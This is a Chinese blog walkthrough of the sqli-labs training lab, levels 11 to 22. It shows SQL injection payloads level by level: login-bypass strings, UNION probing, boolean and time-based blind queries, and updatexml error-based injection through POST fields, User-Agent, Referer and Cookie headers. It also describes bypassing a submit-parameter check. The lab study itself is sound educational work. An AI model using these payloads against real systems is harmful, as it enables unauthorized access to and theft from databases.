sqli-labs11-22关闯关心得与思路

第11-12关

1.从11关有了新变化,开始有了输入框了,试着随便输入账号密码,发现提示失败,同时网页上面的链接位置不在有输入参数的信息,这说明,传参的方式由GET改成了POST。

sqli-labs11-22关闯关心得与思路_第1张图片

2.还是需要先确定闭合方式,在账号密码框里输入?id=1\,看看效果,根据报错信息可以知道,11关是 ' 闭合,12关是”)闭合。

sqli-labs11-22关闯关心得与思路_第2张图片

sqli-labs11-22关闯关心得与思路_第3张图片

3.根据burp的抓包来看,post参数里面的账号密码信息如下,可以猜出11  12关的源码形式分别如下:'uname'and'passwd'and'submita'  ("uname")and("passwd")and("submita")。这两关都有报错信息,可以使用普通的sql注入。

sqli-labs11-22关闯关心得与思路_第4张图片

4.修改uname和passwd的内容(11关为例),为1' or '1=1 ,这样的话在我们不知道账号密码的情况下也可以使sql语句在判断时为真,从而成功登陆,测试一下:sqli-labs11-22关闯关心得与思路_第5张图片

 5.这样的话就可以开始注入了,name栏输入真值,passwd栏测试列数:1'  order by 2--+,为2时不报错,3报错,说明为2.

sqli-labs11-22关闯关心得与思路_第6张图片

 sqli-labs11-22关闯关心得与思路_第7张图片

 6.测试回显 name栏输入真值,passwd栏联合查询:-1' union select 1,2 --+ 

sqli-labs11-22关闯关心得与思路_第8张图片

 第13关

1.测试闭合?id=1\:

sqli-labs11-22关闯关心得与思路_第9张图片

 2.继续根据闭合构建真值:1') or ('1=1  

sqli-labs11-22关闯关心得与思路_第10张图片

3.name为真值,passwd测试列数,列数为2:

 sqli-labs11-22关闯关心得与思路_第11张图片

sqli-labs11-22关闯关心得与思路_第12张图片

4.测试回显点1') union select 1,2  --+:

sqli-labs11-22关闯关心得与思路_第13张图片

5.发现没有回显内容,但是经过前十关的学习,有报错可以使用报错注入。

sqli-labs11-22关闯关心得与思路_第14张图片

6.或者也可以构造真值来进行盲注:

uname=1') or ('1=1&passwd=1') or length(database())>0 --+ &submit=Submit

sqli-labs11-22关闯关心得与思路_第15张图片

 第十四关

1.测试闭合?id=1\:

sqli-labs11-22关闯关心得与思路_第16张图片

2.构造真值1') or ('1=1:

sqli-labs11-22关闯关心得与思路_第17张图片

3.进行报错注入:

sqli-labs11-22关闯关心得与思路_第18张图片

第15关

1.还是先测试闭合,15关的特点是没有报错信息,闭合方式只能一个一个试,或者直接看源码,我选择直接看源码:

sqli-labs11-22关闯关心得与思路_第19张图片

 2.没有报错信息的话,我选择使用构造真值进行盲注。

uname=1' or '1=1&passwd=1' or length(database())=8 --+&submit=Submit

sqli-labs11-22关闯关心得与思路_第20张图片

3.使用时间盲注,只有if语句判断信息为真时,才可以成功登陆:

uname=1' or '1=1&passwd=1' or if (length(database())=8,1,sleep(3))  --+&submit=Submit

sqli-labs11-22关闯关心得与思路_第21张图片

第16关 

1.查看源码,知道闭合方式,然后测试:


uname=1") or ("1=1passwd=1") or ("1=1 submit=Submit

sqli-labs11-22关闯关心得与思路_第22张图片

sqli-labs11-22关闯关心得与思路_第23张图片

2.还是使用盲注和时间盲注:

uname=1") or ("1=1&passwd=1") or length(database())=8 --+&submit=Submi

sqli-labs11-22关闯关心得与思路_第24张图片

uname=1") or ("1=1&passwd=1") or if(length(database())=8,1,sleep(6)) --+&submit=Submit

sqli-labs11-22关闯关心得与思路_第25张图片

第17关

1.第17关的话页面提示重设密码,使用?id=1\  测试一下,发现没有报错信息

sqli-labs11-22关闯关心得与思路_第26张图片没办法知道闭合方式,只能看代码(代码如下),根据代码可以发现,本关的查询方式为会根据输入的账户的名称,在user表里面进行账户密码的查询,意味着只要账户的名称是对的,他会自己进行密码的查询,不需要进行密码的输入,测试一下输入账户然后登录:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

sqli-labs11-22关闯关心得与思路_第27张图片

 2.试着在密码的位置进行盲注,成功注入:

uname=admin&passwd=length (database())=8&submit=Submit

sqli-labs11-22关闯关心得与思路_第28张图片

 3.时间盲注 :

uname=admin&passwd=if(length (database())=8,1,sleep(6)) --+ &submit=Submit

sqli-labs11-22关闯关心得与思路_第29张图片

第18关

1.根据18关的名称了解到是USER-agent注入,是一个新的类型,先看下源码:

从源码中可以知道两个信息

(1)代码对输入的账号密码进行了特殊字符过滤,导致我们前面所使用的在输入的账号密码里面进行注入语句的插入操作不能使用。

sqli-labs11-22关闯关心得与思路_第30张图片

 (2)发现源码中有语句执行了插入操作,将用户的uagent信息直接插入到了数据库语句中执行出来,可以以此为突破口,进行注入。

sqli-labs11-22关闯关心得与思路_第31张图片

 2.根据源码可以知道,要想让数据库执行插入uagent的语句,首先需要有正确的账户密码,才能走到插入的步骤而且源码中也可以看到数据库语句的闭合是 思路清晰以后,下面开始注入,需要注意的是,在源码里面,传参是传了'$uagent', '$IP', $uname,三个参数,然后加上)做闭合,所以在构建报错注入的时候要留意这一点:

User-Agent:' and 1=(updatexml(1,concat(0x7e,(database())),1)), '1','1')#

sqli-labs11-22关闯关心得与思路_第32张图片

3.构造闭合的方法不止一种,大家领会意思就行。

第十九关

1.根据19关源码可以得知,插入的内容是Referer,思路跟上一关一样,源码如下:

2.构造报错注入:

Referer: ' and 1=(updatexml(1,concat(0x7e,(database())),1)),'')#

sqli-labs11-22关闯关心得与思路_第33张图片

第二十关 

1.打开第二十关的话,试着登录,显示信息如下:

sqli-labs11-22关闯关心得与思路_第34张图片

 2.看下源码,注入点应该在cookie的位置

sqli-labs11-22关闯关心得与思路_第35张图片

 3.试着在cookie中进行注入测试,按F12找到网络,刷新页面,找到提交了cookie的页面,然后选择编辑并重发:

sqli-labs11-22关闯关心得与思路_第36张图片

Cookie: uname='and 1=(updatexml(1,concat(0x7e,(database())),1))#

sqli-labs11-22关闯关心得与思路_第37张图片

3.查看新提交的cookie响应,成功报错

sqli-labs11-22关闯关心得与思路_第38张图片

 4.这一关也可以使用burp进行抓包,在抓到的POST数据包里面计入Cookie的值,需要配注意的是,如果在原有包的基础上直接抓包添加Cookie值会显示 ’Your Cookie is deleted‘。

sqli-labs11-22关闯关心得与思路_第39张图片

5.通过查询代码可以知道,这是因为源码对 submit的值做了检测,代码如下:

sqli-labs11-22关闯关心得与思路_第40张图片

 6.所以只要删除数据包里面的submit参数就可以了:

sqli-labs11-22关闯关心得与思路_第41张图片

 

 

第二十一关 

1.源码及正确登录后的信息可以知道,21关的注入点还是cookie,只不过在传输的时候对内容做了64base编码:

sqli-labs11-22关闯关心得与思路_第42张图片

 sqli-labs11-22关闯关心得与思路_第43张图片

2.我们只需要把注入语句进行编码转换就行, 其余的跟20关操作一样,需要注意闭合方式为  ')

在线编码网站:https://c.runoob.com/front-end/693/

菜鸟这个网站也是一个很好的学习网站,十分推荐给大家。

sqli-labs11-22关闯关心得与思路_第44张图片

') and 1=(updatexml(1,concat(0x7e,(database())),1))#

 3.注入成功:

sqli-labs11-22关闯关心得与思路_第45张图片

第二十二关

1.跟上一关一样,只是闭合变成了   "

"and 1=(updatexml(1,concat(0x7e,(database())),1))#

​​​​​​​sqli-labs11-22关闯关心得与思路_第46张图片

 sqli-labs11-22关闯关心得与思路_第47张图片

你可能感兴趣的:(渗透测试,sql,mysql,web安全,网络)